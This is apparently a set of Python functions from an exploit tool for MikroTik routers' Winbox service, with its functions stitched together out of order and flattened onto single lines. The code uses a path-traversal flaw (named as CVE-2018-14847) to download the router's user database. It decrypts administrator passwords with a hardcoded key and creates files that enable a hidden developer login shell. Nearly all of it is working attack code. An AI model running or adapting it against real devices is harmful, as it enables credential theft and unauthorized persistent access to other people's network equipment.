def get_user_dat(ip, port): """ This function uses the file disclosure vulnerability, CVE-2018-14847, to download the user database from /flash/rw/store/user.dat :param ip: the address of the router to connect to :param port: the winbox port to connect to :return: a string containing the user.dat data or an empty string on error """ print("[+] Attempting to connect to {}:{}".format(ip, port)) session = WinboxSession(ip, port) if not session.connect(): print("[!] Failed to connect to the remote host.") return "" # open user.dat file print("[+] Extracting user.dat...") msg = WinboxMessage() msg.set_to(2, 2) msg.set_command(7) msg.set_request_id(1) msg.set_reply_expected(True) msg.add_string(1, "//./.././.././../flash/rw/store/user.dat") session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving an open file response.") return "" session_id = msg.get_session_id() file_size = msg.get_u32(2) if file_size == 0: print("[!] File size is 0.") return "" # read the user.dat file msg.reset() msg.set_to(2, 2) msg.set_command(4) msg.set_request_id(2) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_u32(2, file_size) session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving a file content response.") return "" return msg.get_raw(0x03)
def create_file(ip, port, username, password): """ This function creates the file /pckg/option on the target. This will enable the developer login on Telnet and SSH. Oddly, you'll first need to log in to Telnet for SSH to work, but I digress... :param ip: the ip address of the router :param port: the port of the jsproxy we'll connect to :param username: the username we'll authenticate with :param password: the password we'll authenticate with :return: True if we successfully created the file. """ session = WinboxSession(ip, port) if not session.connect(): print("[!] Failed to connect to the remote host.") return False session_id = 0 if not session.login(username, password, session_id): print("[-] Login failed.") return False print("[+] Creating /pckg/option on {}:{}".format(ip, port)) msg = WinboxMessage() msg.set_to(2, 2) msg.set_command(1) msg.set_request_id(1) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_string(1, "//./.././.././../pckg/option") session.send(msg) msg = session.receive() if msg.has_error(): print("[-]", msg.get_error_string()) return False print("[+] Creating /flash/nova/etc/devel-login on {}:{}".format(ip, port)) msg.reset() msg.set_to(2, 2) msg.set_command(1) msg.set_request_id(2) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_string(1, "//./.././.././../flash/nova/etc/devel-login") session.send(msg) msg = session.receive() if msg.has_error(): print("[-]", msg.get_error_string()) return False return True
def receive(self): data = self.socket.recv(4) if Config.DEBUG: print("Received header:", end=' ') for b in data: print("{:02x}".format(b), end=' ') print() to_read = self.parse_header(data) if to_read == 0: return False message = b'' # reading bulks bulk_size = 0xfd while to_read > 0xff: # read a bulk bulk = self.socket.recv(bulk_size) message += bulk # skip two byte separators of 0xff self.socket.recv(2) to_read -= bulk_size bulk_size = 0xff # read remaining contents message += self.socket.recv(to_read) if Config.DEBUG: print("Received body:", end=' ') for b in message: print("{:02x}".format(b), end=' ') print() msg = WinboxMessage() msg.parse_binary(message) if Config.DEBUG: print(msg) return msg
def get_password(user_dat): """ Looks through the user.dat file for an enabled administrative account that we can use. Once a useful account is found the password is decrypted. :param user_dat: the contents of the users.dat file :return: (success, username, password) """ print("[+] Searching for administrator credentials ") # the dat file is a series of nv::messages preceded by a two byte length data = user_dat if len(data) > 4: length = struct.unpack("H", data[:2]) length = length[0] data = data[2:] # skip length if data[:2] != b'M2': # this is mild insanity but the .dat file messages don't line # up properly if a new user is added or whatever. data = data[1:] # skip the new line data = data[2:] # skip M2 length -= 4 # length + M2 if Config.DEBUG: for i, d in enumerate(data): if i % 4 == 0: print('', end=' ') if i % 32 == 0: print() print("{:02X}".format(d), end=' ') print() if length > len(data): return False, None, None # parse the file contents msg = WinboxMessage() msg.parse_binary(data) password = '' # we need an active admin account # 0x2 has three groups: 1 (read), 2 (write), 3 (full) if msg.get_u32(2) == 3: # and (not msg.get_bool(0xfe000a)): username = msg.get_string(1) encrypted_pass = msg.get_string(0x11) if len(encrypted_pass) == 0: # or msg.get_u32(0x1f) == 0: return False, username, password hash_this = username + "283i4jfkai3389" md5_hash = hashlib.md5(hash_this.encode()).digest() for i, enc_char in enumerate(encrypted_pass): dec_char = enc_char ^ md5_hash[i % len(md5_hash)] if dec_char == 0: # end of the string! we did it. return True, username, password password += chr(dec_char) # not everything is null terminated. Kind of annoying. Let's # loop over the result and see if everything is ascii. If # so we can roll with that. good = True for c in password: if ord(c) < 0x20 or ord(c) > 0x7f: good = False if good: return True, username, password return False, None, None
def login(self, username, password, session_id): """ Login to the Mikrotik router. Performs Challenge exchage authentication :param username: router user name :param password: router user password :param session_id: session it to connect :return: False if failed, session_id if success """ # request the challenge msg = WinboxMessage() msg.set_to(13, 4) msg.set_command(4) msg.set_request_id(2) msg.set_session_id(session_id) msg.set_reply_expected(True) if not self.send(msg): return False msg = self.receive() if not msg or msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) if len(salt) != 16: msg = self.receive() if not msg | msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) # generate the challenge response m = hashlib.md5() one = b'\x00' m.update(one) m.update(password.encode()) m.update(salt) hashed = one + m.digest() msg.reset() msg.set_to(13, 4) msg.set_command(1) msg.set_request_id(3) msg.set_session_id(session_id) msg.set_reply_expected(True) msg.add_string(1, username) msg.add_raw(9, salt) msg.add_raw(10, hashed) if not self.send(msg): return False msg = self.receive() if not msg: print("Error receiving a response.") return False if msg.has_error(): print(msg.get_error_string()) return False sess_id = msg.get_session_id() return sess_id